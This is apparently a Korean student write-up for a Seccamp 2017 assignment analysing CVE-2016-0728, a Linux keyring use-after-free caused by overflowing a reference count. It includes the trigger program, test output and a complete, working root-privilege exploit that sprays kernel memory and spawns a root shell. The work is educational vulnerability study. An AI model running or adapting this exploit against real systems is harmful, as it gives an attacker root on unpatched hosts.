
교육용 Linux 커널 익스플로잇으로, CVE-2016-0728(키 보존 서비스의 use-after-free 취약점)에 대한 상세 분석, PoC 코드, 권한 상승을 위한 완화 방안 논의를 포함합니다.
Seccamp 2017 과제
다음 프로그램은 Linux 커널 3.8~4.4에 존재하는 취약점을 악용하고 있습니다. 이 프로그램의 실행으로 인해 발생하는 문제점을 설명하십시오. 또한, 이 취약점을 더욱 악용하여 root 권한 상승을 수행하는 익스플로잇을 작성하고, 자신이 시도한 동작 환경이나 고려한 점 등을 설명하십시오. 추가로, 이러한 공격을 완화하는 대책 방법을 최대한 많이 제시하고 설명하십시오. 완전히 이해하지 못해도 괜찮습니다. 이해한 부분까지의 정보나 시행 과정, 느낀 점 등을 자신의 말로 기술하십시오. 또한 참고한 사이트나 문헌이 있다면 그 출처를 명시하십시오.
#include <stddef.h>
#include <stdio.h>
#include <sys/types.h>
#include <keyutils.h>
int main(int argc, const char *argv[])
{
int i = 0;
key_serial_t serial;
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL) < 0) {
perror("keyctl");
return -1;
}
for (i = 0; i < 100; i++) {
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, "leaked-keyring");
if (serial < 0) {
perror("keyctl");
return -1;
}
}
return 0;
}
검증 환경은 다음과 같습니다.
$ uname -r
3.19.0-80-generic
$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description: Ubuntu 14.04.5 LTS
Release: 14.04
Codename: trusty
저는 이 취약점을 처음 알게 되었는데, 조사하여 알게 된 점과 그 과정에서 시도해본 것에 대해 기술합니다. 먼저, 이 프로그램에서 사용되는 키 저장 서비스에 대해, 그리고 이번 프로그램이 악용하는 Use-After-Free 취약점과 그것이 프로그램의 무엇 때문에 발생하는지 설명하고, 이로 인해 어떤 문제가 발생하는지에 대해 서술합니다. 이번 취약점은 CVE-2016-0728로 등록되어 있으며, 그 개요에 대해서는 다음 사이트를 참고했습니다.
또한, Linux의 키 저장 서비스에 대해서도 처음 알게 된 것이었기 때문에, IBM의 Linux 키 저장 서비스 입문 웹페이지
https://www.ibm.com/developerworks/jp/linux/library/l-key-retention.html
와 검증 환경인 Linux kernel 3.19의 소스 코드
커널 메시지를 호스트 OS에 네트워크를 통해 보내는 데 DEBUG HACKS - 디버깅을 극대화하는 테크닉&도구(O'REILLY)
를 참고했습니다.
이 프로그램(이하 leak.c라고 부릅니다)은 Linux의 키 저장 서비스에 존재하는 버그를 악용하고 있으며, 이 버그로 인해 Use-After-Free 취약점으로 이어집니다. Use-After-Free 취약점이란, 프로그램의 불일치로 인해 해제된 힙 메모리 주소가 참조될 경우 임의의 코드가 실행 가능해지는 것입니다. 먼저, 이 프로그램이 사용하는 시스템 콜 keyctl()에 대해 설명하고, 거기에 어떤 버그가 존재하는지 기술합니다.
각 프로세스는 keyctl(KEYCTL_JOIN_SESSION_KEYRING, name)이라는 시스템 콜을 통해 현재 세션을 위한 프로세스별 키링을 생성할 수 있습니다. 이 키링은 그 이름 name을 참조함으로써 프로세스 간에 공유할 수 있습니다. 만약 프로세스가 이미 세션 키링을 가지고 있다면, 이 시스템 콜은 세션 키링을 새로운 키링으로 교체합니다. 여기서의 동작을 더 잘 알기 위해 커널 소스 코드의 /security/keys/process_keys.c에 있는 join_session_keyring 함수를 참조했습니다. 그것은 다음과 같은 프로그램으로 되어 있습니다. 세션 키링을 새로운 세션 키링으로 교체할 때 key_put이라는 함수를 스킵합니다. key_put 함수는 인수로 주어진 키링의 참조를 폐기하는 함수입니다. 그것을 스킵함으로써 새로운 키링에 대한 참조가 남은 상태가 되며, 이것이 Use-After-Free 취약점으로 이어집니다.
이 키링이 프로세스 간에 공유될 때, 구조체 key의 usage 멤버에 저장된 내부 참조 횟수가 증가합니다. usage 멤버는 atomic_t라는 타입인데, 이것은 실제로는 int형 변수 하나를 포함하는 struct의 typedef로 정의되어 있습니다. 또한, 이 usage 멤버의 오버플로를 방지하는 메커니즘이 없기 때문에, 이 멤버를 증가시킴으로써 오버플로하여 0이 될 때까지 참조할 수 있습니다. usage 멤버가 0이 되면, 키링 서브시스템 내부의 가비지 컬렉션에 의해 그 키링이 해제됩니다. 이 해제된 영역에 사용자 공간에서 다른 임의의 처리를 수행하는 커널 모듈을 배치함으로써 그 처리를 커널의 권한으로 실행할 수 있습니다.
참고한 사이트에서는 leak.c를 keyutils라는 라이브러리로 컴파일하여 실행하면 /proc/keys에 leaked_key라는 세션 키링이 등록되고 100번 참조된 것으로 표시됩니다. 이 프로그램을 실행하기 전후에 leaked-keyring이 다음과 같이 표시되는 것을 확인했습니다.
# 실행 전
$ cat /proc/keys
$ ./leak
# 실행 후
$ cat /proc/keys
0fd435e9 I--Q--- 100 perm 3f3f0000 1000 1000 keyring leaked-keyring: empty
그러나 검증 환경에서는 leaked-keyring이 표시되지 않았습니다. 시험 삼아 for 루프의 조건문을 i < 0x1000000처럼 큰 수로 해보면, 프로그램 실행 중에는 leaked-keyring이 표시되었습니다. 이번에는 usage 멤버를 오버플로시켜 key를 해제하고 그곳에 새로운 커널 객체를 배치함으로써 공격이 성립합니다. 그래서 실제로 시도해보기로 했습니다. exploit 코드는 다음 사이트를 참고했습니다.
https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>
#include <sys/ipc.h>
#include <sys/msg.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff81091cc0)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81091fc0)
struct key_type {
char * name;
size_t datalen;
void * vet_description;
void * preparse;
void * free_preparse;
void * instantiate;
void * update;
void * match_preparse;
void * match_free;
void * revoke;
void * destroy;
};
void userspace_revoke(void * key) {
commit_creds(prepare_kernel_cred(0));
}
int main(int argc, const char *argv[]) {
const char *keyring_name;
size_t i = 0;
unsigned long int l = 0x100000000/2;
key_serial_t serial = -1;
pid_t pid = -1;
struct key_type * my_key_type = NULL;
struct { long mtype;
char mtext[STRUCT_LEN];
} msg = {0x4141414141414141, {0}};
int msqid;
if (argc != 2) {
puts("usage: ./keys <key_name>");
return 1;
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
commit_creds = (_commit_creds) COMMIT_CREDS_ADDR;
prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR;
my_key_type = malloc(sizeof(*my_key_type));
my_key_type->revoke = (void*)userspace_revoke;
memset(msg.mtext, 'A', sizeof(msg.mtext));
// key->uid
*(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
//key->perm
*(int*)(&msg.mtext[64]) = 0x3f3f3f3f;
//key->type
*(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
keyring_name = argv[1];
/* Set the new session keyring before we start */
serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
if (serial < 0) {
perror("keyctl");
return -1;
}
if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
perror("keyctl");
return -1;
}
puts("Increfing...");
for (i = 1; i < 0xfffffffd; i++) {
if (i == (0xffffffff - l)) {
l = l/2;
sleep(5);
}
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
sleep(5);
/* here we are going to leak the last references to overflow */
for (i=0; i<5; ++i) {
if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
perror("keyctl");
return -1;
}
}
puts("finished increfing");
puts("forking...");
/* allocate msg struct in the kernel rewriting the freed keyring object */
for (i=0; i<64; i++) {
pid = fork();
if (pid == -1) {
perror("fork");
return -1;
}
if (pid == 0) {
sleep(2);
if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
perror("msgget");
exit(1);
}
for (i = 0; i < 64; i++) {
if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
perror("msgsnd");
exit(1);
}
}
sleep(-1);
exit(1);
}
}
puts("finished forking");
sleep(5);
/* call userspace_revoke from kernel */
puts("caling revoke...");
if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) {
perror("keyctl_revoke");
}
printf("uid=%d, euid=%d\n", getuid(), geteuid());
execl("/bin/sh", "/bin/sh", NULL);
return 0;
}